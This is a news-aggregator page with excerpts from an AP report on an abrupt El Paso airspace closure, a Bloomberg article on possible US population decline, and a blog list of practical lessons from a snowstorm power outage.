El Paso is a hub of cross-bor­der com­merce along­side Ciudad Juárez. That Mexican city is home to about 1.5 mil­lion peo­ple, and some of its res­i­dents are ac­cus­tomed to tak­ing ad­van­tage of fa­cil­i­ties, in­clud­ing air­ports, on the U. S. side of the bor­der.

That easy ac­cess to the United States also has made Juarez, like other bor­der cities, at­trac­tive to Mexico’s drug car­tels seek­ing to safe­guard their smug­gling routes for drugs and mi­grants headed north and cash and guns mov­ing to the south.

El Paso Mayor Renard Johnson told re­porters that he did not hear about the clo­sure un­til af­ter the alert was is­sued.

Decisions made with­out no­tice and co­or­di­na­tion puts lives at risk and cre­ates un­nec­es­sary dan­ger and con­fu­sion,” Johnson said. This was a ma­jor and un­nec­es­sary dis­rup­tion, one that has not oc­curred since 9/11.”

The air­port de­scribes it­self as the gate­way to west Texas, south­ern New Mexico and north­ern Mexico. Southwest, United, American and Delta are among the car­ri­ers that op­er­ate flights there.

A sim­i­lar 10-day tem­po­rary flight re­stric­tion for spe­cial se­cu­rity rea­sons re­mained in place Wednesday around Santa Teresa, New Mexico, which is about 15 miles (24 kilo­me­ters) north­west of the El Paso air­port. FAA of­fi­cials did not im­me­di­ately ex­plain why that re­stric­tion re­mained.

Sen. Ben Ray Lujan, a New Mexico Democrat, said in a state­ment that he was seek­ing an­swers from the FAA and the Trump ad­min­is­tra­tion about why the air­space was closed in the first place with­out no­ti­fy­ing ap­pro­pri­ate of­fi­cials, leav­ing trav­el­ers to deal with un­nec­es­sary chaos.”

Travel plans on both sides of the bor­der were dis­rupted.

María Aracelia was push­ing two roller suit­cases across the pedes­trian bridge from Ciudad Juarez to El Paso on Wednesday morn­ing. She had a round-trip flight to Illinois sched­uled for the af­ter­noon.

After re­ceiv­ing a text at 4 a.m. telling her about the 10-day clo­sure, she scram­bled to try to find other op­tions, even how to get to an­other air­port. Then came a no­ti­fi­ca­tion that the El Paso air­port had re­opened.

This is stress­ful, and there is­n’t time to make so many changes, es­pe­cially if you need to get back for work,” Aracelia said.

Kim, Finley and Jalonick re­ported from Washington, and Funk from Omaha, Nebraska. Associated Press writ­ers Jim Vertuno in Austin, Texas; Darlene Superville, Mike Balsamo and Konstantin Toropin in Washington; Kathy McCormack in Concord, New Hampshire; María Verza in Mexico City; and Christian Torres Chávez in Ciudad Juarez, Mexico, con­tributed to this re­port.

...

Read the original on apnews.com »

9 300 shares, 1 trendiness

The US Is Flirting With Its First-Ever Population Decline

If there’s one sin­gle con­sis­tent ad­van­tage the United States has car­ried since its found­ing, it is its abil­ity to draw tal­ent and ex­pand its pop­u­la­tion. Now, as the coun­try pre­pares to cel­e­brate its 250th birth­day and pon­ders its ap­petite for President Donald Trump’s crack­down on im­mi­gra­tion, the US risks record­ing a his­toric and eco­nomic mile­stone decades ahead of sched­ule: Based on at least one re­spected es­ti­mate, 2026 may see the first real pop­u­la­tion de­cline in American his­tory.

Even if that mile­stone does­n’t hap­pen this year, there’s broad agree­ment among ex­perts on both sides of the im­mi­gra­tion de­bate that Trump’s sec­ond term is has­ten­ing a crit­i­cal point — when net mi­gra­tion into the US stops off­set­ting the de­clin­ing births and ris­ing deaths that come with an ag­ing na­tive-born pop­u­la­tion. The more Trump cracks down on im­mi­gra­tion, the sooner the US pop­u­la­tion plateaus or even shrinks.

A coun­try’s pop­u­la­tion is an es­sen­tial el­e­ment of its eco­nomic mass. The shrink­ing pop­u­la­tion of China, which in 2025 recorded its low­est birth rate since Communist rule be­gan in 1949, is one good rea­son it may never over­take the US as the world’s largest econ­omy. Japan’s pop­u­la­tion peaked at 128 mil­lion in 2010, and its de­cline has dragged on growth for years. Europe’s wors­en­ing de­mo­graph­ics have long fed its nar­ra­tive of eco­nomic malaise.

The US has for years mostly stood apart from that con­ver­sa­tion. In 2023, when the US Census last is­sued long-run fore­casts for the pop­u­la­tion, the main pre­dic­tion was that it would de­cline for the first time in 2081. But the way things are go­ing, this year the US is at best poised to record a lower pop­u­la­tion growth rate than Germany, where an ag­ing pop­u­la­tion has con­tributed to its rep­u­ta­tion as the sick man of Europe.”

To be clear, that’s not nec­es­sar­ily a prob­lem for Trump. His ad­min­is­tra­tion is fo­cused on de­liv­er­ing on his promise to re­duce the im­mi­grant pop­u­la­tion and ar­gues, de­spite the protes­ta­tions of econ­o­mists, that do­ing so will mean greater op­por­tu­ni­ties and wages for na­tive-born work­ers and will re­duce the cost of every­thing from hous­ing to health care by re­duc­ing de­mand.

...

Read the original on www.bloomberg.com »

10 298 shares, 16 trendiness

23 lessons you will learn living in a very snowy place

1. In the first re­ally heavy win­ter storm of the year, your power might go off. This is un­der­stand­able but you do have to think about it be­fore­hand.

2. If the pow­er’s been off for a while, like, over 24 hours, and then sud­denly it comes back on for a few min­utes, and then it im­me­di­ately goes out again — you might un­der­stand­ably be­lieve that that means that the power com­pany is about to re­store your elec­tric­ity, and there was a hic­cup but it’s about to come back on for real. Unfortunately, noth­ing in this life is know­able.

3. The in­struc­tion man­u­als for things — cars, snow­blow­ers, wood stoves, etc — of­ten have use­ful in­for­ma­tion about us­ing the thing. A sur­pris­ing num­ber of my peers don’t re­al­ize this.

4. You have a lot of bat­ter­ies, flash­lights, shelf sta­ble food, warm clothes, and drink­ing wa­ter stored, right? Good.

5. Snow is eas­i­est to shovel when it’s just fallen. The more time passes, the more freeze-thaw cy­cles — even gen­tle ones — build up and make the fallen snow denser and tougher. (This might be less true in very cold places where it never gets above freez­ing dur­ing the day? I don’t know, hon­estly.)

6. Snow is heav­ier than you think.

You might think phys­i­cal strength is use­ful for lots of things, like over­all health or fa­mil­iar house­hold tasks or pick­ing up dudes (literally or metaphor­i­cally.) But ac­tu­ally, the main thing phys­i­cal strength is use­ful for is let­ting you shovel more snow.

Push comes to shove, you can prob­a­bly sub­sti­tute grit for phys­i­cal strength. But I sus­pect that mus­cle is eas­ier to build than grit, for most peo­ple, not to men­tion less in­ju­ri­ous.

Anyway, dig­ging snow is hard. And snow is the eas­i­est thing you can dig. How do hobby tun­nel­ers do it??

7. Have neigh­bors up the street with a snow­plow. They will save your skin.

8. Speaking of snow be­ing heavy, my Alaskan friend tells me that at some de­gree of snow­fall, you will also want to clear snow off of your roof so that it does­n’t break your whole house. I did­n’t know that. Thankfully, my roof sur­vived (for now). There are var­i­ous tools made for this, one of which is called an avalanche and looks re­ally fun.

9. Even if your house tech­ni­cally runs on propane, and you have propane, elec­tric­ity might still run the propane, so your house is go­ing to get cold. Unless you run the wood­stove. Which you will.

If you’re short on kin­dling, suf­fi­cient card­board CAN be used to light a big log on fire.

10. You should own rain­paints. (Or snow­pants. Some kind of wa­ter­proof outer layer for your legs.)

11. If it’s too late for that, keep one pair of pants to put on when you go out into the snow for quick trips — and then im­me­di­ately change into a dif­fer­ent pair when you get back in­side. This is im­por­tant for stay­ing dry.

12. Do NOT get wet and cold.

13. You al­ready own gaiters, right? Of course you do. Gaiters are the pin­na­cle of fash­ion. Nobody re­al­izes this, but you know that these slick gar­ments can be made in a va­ri­ety of styles, high­light the calf, and vi­su­ally break up the block of the leg, adding new in­trigue and aes­thetic pos­si­bil­i­ties to the mod­ern con­cep­tion of dress. You are no­body’s fool, and nat­u­rally, you al­ready own a pair of out­doors gaiters.

The sit­u­a­tion you find your­self in now is one of the many cases where gaiters are also prac­ti­cal — put them on, go tromp around out­side, and sud­denly less snow winds up packed in your boot. It’s not a slam-dunk, be­cause when the snow is four feet high it will also top the gaiters — what you re­ally want is rain pants. But it’s still bet­ter than not hav­ing them, and you’ll feel real good about your­self and your prac­ti­cal, cor­rect cloth­ing takes. Good on you!

14. If pos­si­ble, live in a house that a Burning Man camp runs out of in the sum­mer. This means that even if the house is oth­er­wise pretty well-stocked for win­ter storms, you will keep find­ing man­i­fold use­ful things along the way that some­one stashed in some mo­ment of hur­ried sum­mer mad­ness, which will now make your time more pleas­ant — like bat­tery pow­ered string lights, or bet­ter shelf-sta­ble food, or hard liquor.

In fact, in the hour of your de­spair (when you’re out of fire­wood next to the house, and the rest of the fire­wood is some 30 feet away but now buried un­der four feet of snow be­cause you for­got to fix the roof on the wood­shed dur­ing sum­mer — and see Point 6, Snow is heav­ier than you think” — and you’d have to dig your way over there and dig the wood out and then dry it, and you don’t want to do any of that) you will re­mem­ber that over the sum­mer, some­one in­ex­plic­a­bly left a garbage can full of fire­wood next to the truck, sealed un­der a plas­tic bag lid, and that’s only 20 feet away AND it’s al­ready dry. You have no idea why that ended up there but in this mo­ment it will give you strength. You can tromp over there and use a plas­tic child’s sled from the garage to drag wood back to the porch, and thus you will be warm an­other cou­ple of nights.

15. You cer­tainly al­ready know: Absolutely do not run a gen­er­a­tor in­side, or kind of in­side” (open garage, etc), un­der any struc­tures that con­tain live peo­ple or an­i­mals that you care about. This lit­tle box loves to make elec­tric­ity and sparks and car­bon monox­ide. You must re­spect it.

16. In fact, any gen­er­a­tors you may have around would look just dar­ling in a lit­tle struc­ture raised off the ground, with a cov­ered roof, some 20 feet at min­i­mum away from an oc­cu­pied struc­ture, would­n’t they?

17. Any gen­er­a­tors you might have around should also be checked in the fall to make sure they work, and put away at the end of win­ter win­ter­ized as per the man­ual in­struc­tions. You did that, right? Right? Uh oh.

18. Your house’s well is, of course, also elec­tric­ity-pow­ered. This adds an­other layer of com­pli­ca­tion. You did bleach ten gal­lons of well wa­ter for long-term stor­age al­ready ear­lier in the year, right? Good.

Anyway, to flush a toi­let with­out a run­ning tank, dump about a gal­lon of wa­ter right into the bowl as fast as pos­si­ble. (If you do it slowly, it won’t over­fill, but it won’t flush’ all at once ei­ther.)

19. Even if you did­n’t have plenty of drink­ing wa­ter stored up, you would­n’t be in trou­ble, be­cause you can fill a big cook­ing pot with snow and put it on top of the wood stove. But you do have a lot of bot­tled wa­ter. Good on you.

20. You might think, at least fi­nally I’ll have time to read one of my many un­read books or do one of sev­eral arts or crafts I have around. And you will, a lit­tle. But it will bring you no joy. You will wish you were play­ing Animal Crossing.

21. One of the books you’ll read is Shadows on the Koyukuk, a mem­oir by the son of a fur trap­per & a Koyukuk Athabascan na­tive, on his life grow­ing up and liv­ing in Alaska in the early 1900s. It’s a great book in any cir­cum­stance. But cer­tain par­al­lels will oc­cur to you now, es­pe­cially. You must thicken your skin to ap­pre­ci­ate them. For in­stance, au­thor Sidney Huntington will re­count how he got lost in the woods at night with damp clothes, while it was well un­der -30° Fahrenheit out, car­ry­ing only an axe — so he re­mem­bered some ad­vice he’d got­ten once, and chopped down some trees, and started two fires to keep him warm and let him sleep through the night un­til it was day­light and he could find his way home.

Not only is it about 60° warmer where you are, you’ve never even cut down ONE tree with an axe. (Or built a boat, or killed a griz­zly bear, or…)

But you must re­mind your­self that de­spite your short­com­ings, you al­most cer­tainly know about more kinds of fish than Huntington did at your age, so moder­nity has not failed you ut­terly. And you don’t know any­one who’s ever died from tu­ber­cu­lo­sis or star­va­tion, which is cool too.

Your ego thus buoyed (in case you needed it), you can find com­mon ground, for in­stance, about the prob­lem of snow — Huntington men­tions how when two peo­ple are walk­ing across snow­fields in snow­shoes, it’s more ex­haust­ing to be the per­son in front break­ing the trail. He and his brother would take turns. You can re­late to this, now. The sec­ond time walk­ing over a path re­ally is eas­ier.

22. While mak­ing your lit­tle plans, at some point, you will learn — us­ing the threads of cell power you’re able to ob­tain from the last live power bank you did­n’t even know was in the house un­til you tore through it look­ing for one — that an­other storm is due in the next cou­ple days, and that the power com­pany has no ETA on a re­pair. You will look at your dwin­dling sup­ply of eas­ily avail­able fire­wood. You will look at your to-do list:

a) dig out enough space for the large gen­er­a­tor, which you think might be more likely to turn on than the small one

b) dig out the truck, just in case

You will look at your two uh, yeah, I have a blog” noo­dle arms. You will con­sider Point 6.

Spend your en­ergy dig­ging the truck out. Throw some clothes in­side. Get the hell out of there.

23. You al­ready know that if you’re try­ing to drive a car over snowy ground, and the wheels start spin­ning but the car is stuck in place, you need to stop do­ing what you’re do­ing right away and try do­ing some­thing else with the wheels, right? Good.

...

Read the original on eukaryotewritesblog.com »

To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".

10HN is also available as an iOS App

If you visit 10HN only rarely, check out the the best articles from the past week.

If you like 10HN please leave feedback and share

Visit pancik.com for more.